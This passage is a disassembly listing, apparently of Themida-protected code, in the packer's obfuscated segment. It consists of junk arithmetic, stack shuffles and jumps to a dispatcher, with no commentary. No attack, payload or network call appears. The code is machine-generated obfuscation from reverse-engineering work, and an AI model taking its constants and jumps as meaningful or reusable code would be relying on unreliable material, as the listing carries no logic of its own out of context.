loc_5ADA67:				; CODE XREF: Themida_:005A0810j
		sub	bl, 41h
		jmp	loc_59C2AD
; ---------------------------------------------------------------------------


loc_5ADA6F:				; CODE XREF: Themida_:005A8C21j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5AE082
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_5A71CE
; ---------------------------------------------------------------------------


loc_5ADA88:				; CODE XREF: Themida_:0059C5D7j
		push	esi
		mov	esi, 12390258h
		jmp	loc_5A132C
; ---------------------------------------------------------------------------


loc_5ADA93:				; CODE XREF: Themida_:005A27A2j
		mov	[esp], cx
		push	edx
		jmp	loc_5A6357
; ---------------------------------------------------------------------------


loc_5ADA9D:				; CODE XREF: Themida_:0059E172j
		pop	eax
		sub	dword ptr [esp+4], 7A7D7A3Fh
		add	dword ptr [esp+4], 6A2E5B75h
		add	[esp+4], ebx
		push	ecx
		mov	ecx, 6A2E5B75h
		sub	[esp+8], ecx
		pop	ecx
		push	ebp
		mov	ebp, 7A7D7A3Fh
		add	[esp+8], ebp
		pop	ebp
		jmp	loc_5A12D1
; ---------------------------------------------------------------------------


loc_5ADACD:				; CODE XREF: Themida_:005ADC58j
		pop	edx
		sub	eax, esi
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_59F1F0
; ---------------------------------------------------------------------------


loc_5ADADF:				; CODE XREF: Themida_:005AB9ABj
		add	esi, eax
		sub	esi, 2C477FDAh
		mov	eax, [esp]
		add	esp, 4
		push	220Ah
		mov	[esp], ecx
		mov	ecx, 2
		add	esi, ecx
		pop	ecx
		push	31AEh
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5AB704
; ---------------------------------------------------------------------------


loc_5ADB0E:				; CODE XREF: Themida_:005A5B7Aj
		mov	[esp], ebp
		jmp	loc_5A5A3C
; ---------------------------------------------------------------------------


loc_5ADB16:				; CODE XREF: Themida_:005A4A01j
		mov	al, cl
		push	ecx
		mov	cl, al
		mov	bh, cl
		pop	ecx
		jmp	loc_5AB741
; ---------------------------------------------------------------------------


loc_5ADB23:				; CODE XREF: Themida_:005A74DBj
		mov	esi, 7E1C2E7Fh
		push	eax
		mov	eax, 414B3D5Ah
		or	eax, 95954EBh
		add	eax, 25B8907Dh
		jmp	loc_5AA491
; ---------------------------------------------------------------------------


loc_5ADB3D:				; CODE XREF: Themida_:0059E580j
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5A0688
; ---------------------------------------------------------------------------


loc_5ADB64:				; CODE XREF: Themida_:005A9734j
					; Themida_:005AD0ACj
		mov	ebx, ecx
		pop	ecx
		jmp	loc_59DF00
; ---------------------------------------------------------------------------


loc_5ADB6C:				; CODE XREF: Themida_:005AC2B0j
		push	0C14h
		mov	[esp], esi
		mov	esi, 2
		jmp	loc_5A8633
; ---------------------------------------------------------------------------


loc_5ADB7E:				; CODE XREF: Themida_:loc_59A5E8j
		or	al, 44h
		jnb	loc_59910E
		add	al, 8
		jmp	loc_5AD6D8
; ---------------------------------------------------------------------------
		mov	edi, [esp]


loc_5ADB90:				; CODE XREF: Themida_:0059FD3Ej
		mov	esi, 0B14D0579h
		xor	ebp, esi
		mov	esi, [esp]
		jmp	loc_5A6BC0
; ---------------------------------------------------------------------------


loc_5ADB9F:				; CODE XREF: Themida_:005ABD01j
		mov	edx, 78005B2Ch
		not	edx
		jmp	loc_5A91A1
; ---------------------------------------------------------------------------


loc_5ADBAB:				; CODE XREF: Themida_:005A475Ej
		mov	[esp], edi
		push	3907h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 42E949E8h
		jmp	loc_5AACD9
; ---------------------------------------------------------------------------


loc_5ADBD2:				; CODE XREF: Themida_:005AD770j
		add	ebx, 27954C3Eh
		jmp	loc_5AF1EA
; ---------------------------------------------------------------------------


loc_5ADBDD:				; CODE XREF: Themida_:0059A7BAj
					; Themida_:loc_59D4FEj	...
		sub	eax, esi
		pop	esi
		push	6A73h
		jmp	loc_5AD6C3
; ---------------------------------------------------------------------------


loc_5ADBEA:				; CODE XREF: Themida_:005A05B5j
		add	edi, 1B748BEFh
		sub	edi, 4E284FD3h
		not	edi
		not	edi
		jmp	loc_5A1406
; ---------------------------------------------------------------------------


loc_5ADBFF:				; CODE XREF: Themida_:005ADF25j
		push	ecx
		jmp	loc_5A4463
; ---------------------------------------------------------------------------


loc_5ADC05:				; CODE XREF: Themida_:005A826Ej
		push	1B9Fh
		mov	[esp], esi
		jmp	loc_5A512D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_59ED0F
; ---------------------------------------------------------------------------


loc_5ADC20:				; CODE XREF: Themida_:005A6E94j
		shl	al, 8
		jmp	loc_59F42A
; ---------------------------------------------------------------------------


loc_5ADC28:				; CODE XREF: Themida_:005A5CABj
		add	eax, esi
		jmp	loc_5AC16F
; ---------------------------------------------------------------------------


loc_5ADC2F:				; CODE XREF: Themida_:0059A079j
		push	esp
		pop	edi
		jmp	loc_5ACA6B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	4D7Dh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A87E7
; ---------------------------------------------------------------------------


loc_5ADC57:				; CODE XREF: Themida_:005A0222j
		pop	ebp
		jmp	loc_5ADACD
; ---------------------------------------------------------------------------


loc_5ADC5D:				; CODE XREF: Themida_:005A49F0j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ADC74:				; CODE XREF: Themida_:loc_59CF0Bj
					; Themida_:005A8A71j
		add	ch, 2Fh
		jmp	loc_59ED68
; ---------------------------------------------------------------------------


loc_5ADC7C:				; CODE XREF: Themida_:005AF365j
		mov	al, [esp]
		add	esp, 2
		shl	al, 6
		jmp	loc_5A4694
; ---------------------------------------------------------------------------


loc_5ADC8A:				; CODE XREF: Themida_:0059B80Cj
		pop	ebp
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5ABFCB
; ---------------------------------------------------------------------------


loc_5ADC9C:				; CODE XREF: Themida_:005AD30Bj
		shr	esi, 8
		jmp	loc_5AD492
; ---------------------------------------------------------------------------


loc_5ADCA4:				; CODE XREF: Themida_:0059AB4Bj
		mov	[esp], ebp
		push	2103h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		push	6DF6h
		jmp	loc_5A201D
; ---------------------------------------------------------------------------


loc_5ADCBF:				; CODE XREF: Themida_:0059E38Aj
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5A477A
; ---------------------------------------------------------------------------


loc_5ADCCD:				; CODE XREF: Themida_:0059C12Ej
		sub	ebp, edx
		pop	edx
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5AC7D8
; ---------------------------------------------------------------------------


loc_5ADCD8:				; CODE XREF: Themida_:005A38E2j
		mov	[esp], eax
		push	ecx
		mov	ch, bl
		mov	ah, ch
		jmp	loc_5AC3C8
; ---------------------------------------------------------------------------


loc_5ADCE5:				; CODE XREF: Themida_:005A1219j
		sub	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		pop	ecx
		push	19E7h
		mov	[esp], eax
		mov	ah, 0EAh
		sub	bl, 0CDh
		jmp	loc_5A185C
; ---------------------------------------------------------------------------


loc_5ADD00:				; CODE XREF: Themida_:0059FA28j
		pop	ebx
		jmp	loc_5ACFD9
; ---------------------------------------------------------------------------


loc_5ADD06:				; CODE XREF: Themida_:005AA36Cj
		add	edx, 4
		jmp	loc_59B850
; ---------------------------------------------------------------------------


loc_5ADD11:				; CODE XREF: Themida_:005A5834j
		sub	al, 0FDh
		mov	bx, [esp]
		add	esp, 2
		push	edi
		mov	edi, esp
		jmp	loc_5A60B2
; ---------------------------------------------------------------------------


loc_5ADD25:				; CODE XREF: Themida_:005A3621j
					; Themida_:005AEE69j
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ADD37:				; CODE XREF: Themida_:005ACC1Dj
		xchg	ebp, esi
		xor	esi, 32E26BD2h
		or	esi, 10D86634h
		push	eax
		mov	eax, 270A6C93h
		or	esi, eax
		mov	eax, [esp]
		jmp	loc_5A37BF
; ---------------------------------------------------------------------------


loc_5ADD55:				; CODE XREF: Themida_:005AA9B1j
		sub	ecx, edx
		jmp	loc_5AD5DA
; ---------------------------------------------------------------------------


loc_5ADD5C:				; CODE XREF: Themida_:005A6270j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5A5CA0
; ---------------------------------------------------------------------------


loc_5ADD6C:				; CODE XREF: Themida_:005A4835j
		push	ebx
		push	6753h
		mov	[esp], ecx
		mov	ecx, 486D4833h
		jmp	loc_5A2655
; ---------------------------------------------------------------------------


loc_5ADD7F:				; CODE XREF: Themida_:005A78BEj
		shl	edx, 5
		jnz	loc_5A81CE
		add	edx, 2BD43C69h
		mov	ah, bh
		mov	bh, bh


loc_5ADD92:				; CODE XREF: Themida_:005ADFE0j
		push	ebp
		jmp	loc_5A54DD
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_59F52C
; ---------------------------------------------------------------------------


loc_5ADDA1:				; CODE XREF: Themida_:0059B752j
		add	ax, di
		pop	edi
		push	6DFCh
		mov	[esp], esi
		mov	si, 307Fh
		add	si, 4F66h
		sub	ax, si
		pop	esi
		sub	ax, 7E50h
		pop	edx
		push	0C31h
		mov	[esp], ecx
		jmp	loc_5ABCC6
; ---------------------------------------------------------------------------


loc_5ADDCC:				; CODE XREF: Themida_:0059BCA3j
		push	esi
		mov	esi, 5C830F0h
		sub	esi, 5C830ECh
		add	ebx, esi
		pop	esi
		push	ebp
		mov	ebp, 0FDD23D2h
		dec	ebp
		jmp	loc_5A6194
; ---------------------------------------------------------------------------


loc_5ADDE7:				; CODE XREF: Themida_:005AA7AEj
		mov	edi, 268365B5h
		xor	ebx, edi
		jmp	loc_5AD244
; ---------------------------------------------------------------------------


loc_5ADDF3:				; CODE XREF: Themida_:005A27C3j
		mov	ecx, 5BCB57A3h
		jmp	loc_5A5BC1
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ADE0C:				; CODE XREF: Themida_:0059DC26j
		mov	eax, 7B7A0997h
		jmp	loc_5A6470
; ---------------------------------------------------------------------------


loc_5ADE16:				; CODE XREF: Themida_:005AD2C3j
		push	edi
		jmp	loc_59DCEF
; ---------------------------------------------------------------------------


loc_5ADE1C:				; CODE XREF: Themida_:0059F7A8j
		bts	[esp], ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ADE27:				; CODE XREF: Themida_:00599199j
					; Themida_:005A5983j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	54083658h
		push	dword ptr [esp]
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 862EDBh
		jmp	loc_5A58CF
; ---------------------------------------------------------------------------


loc_5ADE52:				; CODE XREF: Themida_:0059C891j
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		jmp	loc_5A85DD
; ---------------------------------------------------------------------------


loc_5ADE63:				; CODE XREF: Themida_:0059D5B3j
		pop	dword ptr [esp]
		jmp	loc_5A7395
; ---------------------------------------------------------------------------


loc_5ADE6B:				; CODE XREF: Themida_:005AB13Fj
		mov	ebp, 125158D4h
		dec	ebp
		add	ebp, 651B3189h
		not	ebp
		or	ebp, 6632DCDh
		shl	ebp, 3
		jmp	loc_5A74B9
; ---------------------------------------------------------------------------


loc_5ADE87:				; CODE XREF: Themida_:005AE7AFj
		mov	[esp], eax
		push	ebx
		mov	ebx, 2C827485h
		or	ebx, 28ED271Eh
		not	ebx
		or	ebx, 507A6805h
		jnp	loc_5A1120
		shr	ebx, 4
		jnz	loc_5A8C06
		jmp	loc_59DEE2
; ---------------------------------------------------------------------------
		pop	ebp
		push	7A31h
		mov	[esp], ecx
		push	ebp


loc_5ADEBC:				; CODE XREF: Themida_:005A272Ej
		mov	ecx, 4174C06h
		add	ecx, 16494228h
		jl	loc_5A5D5F
		and	ecx, 151F1E61h
		js	loc_599A30
		add	ecx, 25A052AFh
		jb	loc_599993
		or	ecx, 4B6E6129h
		jg	loc_5983FB
		or	ecx, 6C77500Bh
		jmp	loc_59A965
; ---------------------------------------------------------------------------


loc_5ADEFC:				; CODE XREF: Themida_:005A40C8j
		mov	[esp], edi
		mov	edi, 7F912A4Dh
		neg	edi
		sub	edi, 6AA564E4h
		add	ebx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_59BCCE
; ---------------------------------------------------------------------------


loc_5ADF19:				; CODE XREF: Themida_:0059C797j
					; Themida_:005A52D4j
		xor	ecx, edx
		xor	edx, ecx
		xor	ecx, edx
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		jmp	loc_5ADBFF
; ---------------------------------------------------------------------------


loc_5ADF2A:				; CODE XREF: Themida_:005A15EEj
		add	al, 1Bh
		mov	edx, [esp]
		add	esp, 4
		add	al, 0CEh
		sub	al, dl
		sub	al, 0CEh
		push	ecx
		mov	cl, 72h
		sub	al, cl
		pop	ecx
		push	ecx
		push	ax
		mov	al, 2
		mov	cl, al
		pop	ax
		push	edx
		mov	dl, 0C2h
		sub	dl, 0A1h
		jmp	loc_5A8077
; ---------------------------------------------------------------------------


loc_5ADF52:				; CODE XREF: Themida_:005ACC3Ej
		xor	edx, 8B21CDFFh
		push	ebp
		mov	ebp, edx
		push	esi
		mov	esi, ebp
		mov	eax, esi
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5AD3E7
; ---------------------------------------------------------------------------


loc_5ADF70:				; CODE XREF: Themida_:005A5CE4j
		pop	esi
		sub	ecx, 3419449Dh
		sub	ecx, 23196CB5h
		sub	ecx, edi
		add	ecx, 23196CB5h
		jmp	loc_5A0E43
; ---------------------------------------------------------------------------


loc_5ADF8A:				; CODE XREF: Themida_:loc_5AE597j
		xor	ebx, 58616B55h
		jmp	loc_5A59A4
; ---------------------------------------------------------------------------


loc_5ADF95:				; CODE XREF: Themida_:005A74ACj
		add	esp, 4
		shr	edx, 3
		shr	edx, 5
		add	edx, 0BE6C717Ah
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, ecx
		pop	ecx
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, ecx
		xor	ecx, ebx
		jmp	loc_5A9FC9
; ---------------------------------------------------------------------------


loc_5ADFCC:				; CODE XREF: Themida_:005A8449j
		pop	edx
		xor	edx, 209165C9h
		sub	edx, 5DA67AECh
		jmp	loc_599A80
; ---------------------------------------------------------------------------


loc_5ADFDE:				; CODE XREF: Themida_:005A2703j
		push	esp
		pop	ebx
		jmp	loc_5ADD92
; ---------------------------------------------------------------------------


loc_5ADFE5:				; CODE XREF: Themida_:0059B328j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ADFEA:				; CODE XREF: Themida_:00598FDFj
		mov	edi, 4
		mov	ebp, edi
		pop	edi
		add	eax, 0F9149BFh
		add	eax, 3A752C9Ah
		add	eax, ebp
		sub	eax, 3A752C9Ah
		jmp	loc_59FE2B
; ---------------------------------------------------------------------------


loc_5AE008:				; CODE XREF: Themida_:005A8C99j
		push	ebx
		mov	ebx, 12D9F087h
		add	eax, ebx
		pop	ebx
		jmp	loc_5A80CF
; ---------------------------------------------------------------------------


loc_5AE016:				; CODE XREF: Themida_:0059F4E7j
		xor	ecx, [esp]
		pop	esp
		add	ebp, 261A5F41h
		push	425Ah
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 8947F7Ch
		and	ebp, 3F891131h
		add	ebp, 2A43308Ch
		sub	ebp, 66CD2761h
		sub	ebp, 0CBF61A57h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A1B22
; ---------------------------------------------------------------------------


loc_5AE057:				; CODE XREF: Themida_:0059CF1Dj
					; Themida_:005AE927j
		mov	[esp], ebp
		mov	ebp, 672C0C02h
		jmp	loc_59F00E
; ---------------------------------------------------------------------------


loc_5AE064:				; CODE XREF: Themida_:0059EA92j
		add	cl, al
		jmp	loc_59E01C
; ---------------------------------------------------------------------------


loc_5AE06B:				; CODE XREF: Themida_:005A7531j
		add	esp, 4
		add	[esp+4], ebx
		pop	ebx
		push	eax
		push	ecx
		mov	ecx, 55E97D92h
		jmp	loc_5A866B
; ---------------------------------------------------------------------------


loc_5AE082:				; CODE XREF: Themida_:005ADA73j
		add	esp, 4
		jmp	loc_5A4702
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		mov	ebx, 28326E84h
		not	ebx
		sub	ebx, 0A93C6B5Dh
		jmp	loc_5A494E
; ---------------------------------------------------------------------------


loc_5AE09E:				; CODE XREF: Themida_:005AECCAj
		push	eax
		push	edx
		mov	edx, 29377812h
		mov	eax, edx
		pop	edx
		not	eax
		or	eax, 309E022Bh
		jp	loc_59EB36
		shr	eax, 2
		jmp	loc_5AAC2D
; ---------------------------------------------------------------------------


loc_5AE0BD:				; CODE XREF: Themida_:0059D665j
		pop	dword ptr [esp]
		jmp	loc_5A9B3B
; ---------------------------------------------------------------------------


loc_5AE0C5:				; CODE XREF: Themida_:005A9BCEj
		push	edx
		jmp	loc_5AE469
; ---------------------------------------------------------------------------


loc_5AE0CB:				; CODE XREF: Themida_:005AB6DBj
		sub	eax, 151EA888h
		sub	ecx, eax
		pop	eax
		jmp	loc_5ACB7C
; ---------------------------------------------------------------------------


loc_5AE0D8:				; CODE XREF: Themida_:005ABFC6j
		push	edi
		mov	edi, 33985F51h
		sub	ebp, edi
		pop	edi
		pop	eax
		push	ebp
		jmp	loc_5A0391
; ---------------------------------------------------------------------------


loc_5AE0E8:				; CODE XREF: Themida_:005ABE49j
		inc	edi
		sub	edi, 7CED75E3h
		add	esi, edi
		pop	edi
		sub	ecx, esi
		pop	esi
		add	ebp, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	ebx
		xchg	eax, esi
		jmp	loc_59D359
; ---------------------------------------------------------------------------


loc_5AE10E:				; CODE XREF: Themida_:0059C5FDj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 49302DFAh
		jmp	loc_5A5B1A
; ---------------------------------------------------------------------------


loc_5AE121:				; CODE XREF: Themida_:005A0F4Aj
		push	edi
		push	esp
		jmp	loc_5A8B05
; ---------------------------------------------------------------------------


loc_5AE128:				; CODE XREF: Themida_:005A7EC3j
		jmp	loc_59AA59
; ---------------------------------------------------------------------------


loc_5AE12D:				; CODE XREF: Themida_:005AEA10j
		shr	ebx, 3
		jmp	loc_5A994C
; ---------------------------------------------------------------------------


loc_5AE135:				; CODE XREF: Themida_:005A67CFj
		push	76F8h
		mov	[esp], esi
		mov	esi, 32043A1Dh
		push	ebx
		mov	ebx, 3DD30B02h
		jmp	loc_5A86A6
; ---------------------------------------------------------------------------


loc_5AE14D:				; CODE XREF: Themida_:0059E3F0j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_5ACE5D
; ---------------------------------------------------------------------------


loc_5AE15C:				; CODE XREF: Themida_:0059E296j
		mov	eax, [esp]
		jmp	loc_5A6787
; ---------------------------------------------------------------------------


loc_5AE164:				; CODE XREF: Themida_:005A7871j
		inc	ebx
		jno	loc_59CF81
		add	ebx, 583F9CBFh
		jmp	loc_59E454
; ---------------------------------------------------------------------------
		mov	cl, 0D5h


loc_5AE179:				; CODE XREF: Themida_:0059A3DCj
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_5A6993
; ---------------------------------------------------------------------------


loc_5AE18A:				; CODE XREF: Themida_:005A5EDEj
		jmp	loc_5AB09B
; ---------------------------------------------------------------------------


loc_5AE18F:				; CODE XREF: Themida_:005AAAA2j
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AE19A:				; CODE XREF: Themida_:005A9011j
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	ecx, 6
		push	74ABh
		mov	[esp], edx
		push	6199h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_5A1D04
; ---------------------------------------------------------------------------


loc_5AE1D5:				; CODE XREF: Themida_:005A3E89j
		push	4
		pop	ecx
		jmp	loc_5AEAF5
; ---------------------------------------------------------------------------


loc_5AE1E0:				; CODE XREF: Themida_:005A9218j
		jmp	loc_59DCB2
; ---------------------------------------------------------------------------


loc_5AE1E5:				; CODE XREF: Themida_:005A2306j
		mov	[esp], edx
		mov	edx, 6F12211Fh
		add	edi, edx
		pop	edx
		push	edx
		jmp	loc_5A177D
; ---------------------------------------------------------------------------


loc_5AE1F6:				; CODE XREF: Themida_:005ACD97j
		mov	edi, 0EEBA22DDh
		jmp	loc_59ECFC
; ---------------------------------------------------------------------------


loc_5AE200:				; CODE XREF: Themida_:0059D63Bj
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_5A13E8
; ---------------------------------------------------------------------------


loc_5AE218:				; CODE XREF: Themida_:005A37BAj
		mov	[esp], edx
		jmp	loc_5A77D1
; ---------------------------------------------------------------------------


loc_5AE220:				; CODE XREF: Themida_:0059C40Aj
					; Themida_:0059CA61j
		shl	esi, 2
		jns	loc_5A9253
		push	1768h
		mov	[esp], ecx
		jmp	loc_5AF040
; ---------------------------------------------------------------------------
		pop	esi
		dec	edx


loc_5AE238:				; CODE XREF: Themida_:005AEF06j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_5AB1BA
; ---------------------------------------------------------------------------


loc_5AE244:				; CODE XREF: Themida_:005AAE39j
		pop	esp
		sub	esp, 2
		mov	[esp], cx
		mov	cl, 6Fh
		push	edx
		push	ebx
		mov	bh, 27h
		shl	bh, 1
		jmp	loc_5AE370
; ---------------------------------------------------------------------------


loc_5AE25C:				; CODE XREF: Themida_:0059B4E3j
		mov	[esp], edx
		mov	edx, 417E1182h
		or	ecx, edx
		pop	edx
		sub	ecx, 16DB5201h
		sub	ebx, ecx
		jmp	loc_5A0D27
; ---------------------------------------------------------------------------


loc_5AE274:				; CODE XREF: Themida_:005A9B0Aj
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 44495209h
		neg	ebp
		push	esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_598965
; ---------------------------------------------------------------------------


loc_5AE295:				; CODE XREF: Themida_:0059FFC3j
		dec	edi
		push	esi
		mov	esi, 0EB3FEC42h
		add	edi, esi
		pop	esi
		sub	ebp, edi
		pop	edi
		pop	eax
		add	ebp, 2
		jmp	loc_5A081B
; ---------------------------------------------------------------------------


loc_5AE2AE:				; CODE XREF: Themida_:0059EC76j
		jg	loc_599407
		jmp	loc_59C082
; ---------------------------------------------------------------------------


loc_5AE2B9:				; CODE XREF: Themida_:005A8BA5j
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, 753F1F96h
		sub	edx, ebp
		sub	edx, 753F1F96h
		mov	ebp, [esp]
		jmp	loc_5A4302
; ---------------------------------------------------------------------------


loc_5AE2D7:				; CODE XREF: Themida_:005A2DC0j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5AB7DE
; ---------------------------------------------------------------------------


loc_5AE2ED:				; CODE XREF: Themida_:005AC0D2j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	44C0h
		mov	[esp], ebx
		push	eax
		mov	eax, 54CA26BFh
		jmp	loc_5A0DB8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0ADE93C77h
		db 90h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE30F:				; CODE XREF: Themida_:00599402j
		push	ebp
		mov	ebp, 54696268h
		jmp	loc_59DA57
; ---------------------------------------------------------------------------


loc_5AE31A:				; CODE XREF: Themida_:005ACF7Bj
		mov	ecx, esp
		push	ebp
		mov	ebp, 627717F2h
		jmp	loc_5ACDF0
; ---------------------------------------------------------------------------


loc_5AE327:				; CODE XREF: Themida_:0059E096j
					; Themida_:005ABB55j
		xor	ebx, edi
		pop	edi
		and	ecx, ebx
		pop	ebx
		add	ecx, 0FFFFFDB0h
		jmp	loc_5A224C
; ---------------------------------------------------------------------------


loc_5AE338:				; CODE XREF: Themida_:005A7944j
		add	esp, 4
		add	al, bh
		pop	ebx
		sub	al, bl
		jmp	loc_59F17A
; ---------------------------------------------------------------------------


loc_5AE348:				; CODE XREF: Themida_:005AC660j
		push	edx
		mov	edx, 1C744BA4h
		jmp	loc_5A4315
; ---------------------------------------------------------------------------


loc_5AE353:				; CODE XREF: Themida_:0059E2C7j
		pop	dword ptr [esp]
		mov	esp, [esp]
		bswap	eax
		push	4F6Ch
		mov	[esp], eax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AE368:				; CODE XREF: Themida_:005AA334j
		add	esp, 4
		jmp	loc_59E5D7
; ---------------------------------------------------------------------------


loc_5AE370:				; CODE XREF: Themida_:005AE257j
		js	loc_59BA76
		sub	bh, 3Ch
		push	ecx
		mov	ch, bh
		mov	dl, ch
		pop	ecx
		pop	ebx
		sub	dl, 0C2h
		add	dl, 24h
		add	dl, 1
		add	dl, 0B2h
		shl	dl, 7
		xor	dl, 0D6h
		jmp	loc_5A9557
; ---------------------------------------------------------------------------


loc_5AE397:				; CODE XREF: Themida_:005A8C01j
		xor	ebx, 0AB6AB3BBh
		add	ecx, ebx
		pop	ebx
		add	ecx, ebp
		push	edi
		mov	edi, 48883BFFh
		sub	edi, 3AB7846h
		add	edi, 0F5205C66h
		sub	ecx, edi
		pop	edi
		pop	ebp
		push	ebp
		mov	ebp, 5A753DF2h
		shl	ebp, 2
		push	edx
		push	ecx
		mov	ecx, 4DC570E8h
		mov	edx, ecx
		jmp	loc_59DD9A
; ---------------------------------------------------------------------------


loc_5AE3CF:				; CODE XREF: Themida_:005A591Cj
		add	ebx, 75AF7CAEh
		and	ebx, 64F91E7Ch
		add	ebx, 288F60F0h
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 0B627CB7h
		add	edx, 110275DAh
		not	edx
		and	edx, 3C260183h
		ja	loc_59A310
		inc	edx
		jo	loc_5AE610
		jmp	loc_59D1D8
; ---------------------------------------------------------------------------


loc_5AE410:				; CODE XREF: Themida_:005997BBj
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		or	ecx, 4D5F7C55h
		add	ecx, 92F24E0Fh
		sub	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A1608
; ---------------------------------------------------------------------------


loc_5AE435:				; CODE XREF: Themida_:005A18EFj
		mov	[esp], ebx
		jmp	loc_59DBB6
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AE445:				; CODE XREF: Themida_:005A655Cj
		mov	[esp], dx
		mov	dl, 34h
		xor	bl, dl
		mov	dx, [esp]
		add	esp, 2
		push	ebx
		not	byte ptr [esp]
		jmp	loc_59B606
; ---------------------------------------------------------------------------


loc_5AE460:				; CODE XREF: Themida_:0059D9DCj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AE469:				; CODE XREF: Themida_:005AE0C6j
		push	56362FD7h
		pop	edx
		push	esi
		mov	esi, 37136617h
		jmp	loc_59C8FB
; ---------------------------------------------------------------------------


loc_5AE47A:				; CODE XREF: Themida_:005A66F8j
		sub	esp, 4
		mov	[esp], esi
		push	5A8630E6h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edx
		push	esp
		jmp	loc_59CB7E
; ---------------------------------------------------------------------------


loc_5AE495:				; CODE XREF: Themida_:005AE8BEj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	ecx
		jmp	loc_5A1970
; ---------------------------------------------------------------------------


loc_5AE4A5:				; CODE XREF: Themida_:005AA7CDj
		neg	edx
		add	edx, 2F52674Fh
		jmp	loc_59FDEF
; ---------------------------------------------------------------------------


loc_5AE4B2:				; CODE XREF: Themida_:0059B5A3j
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
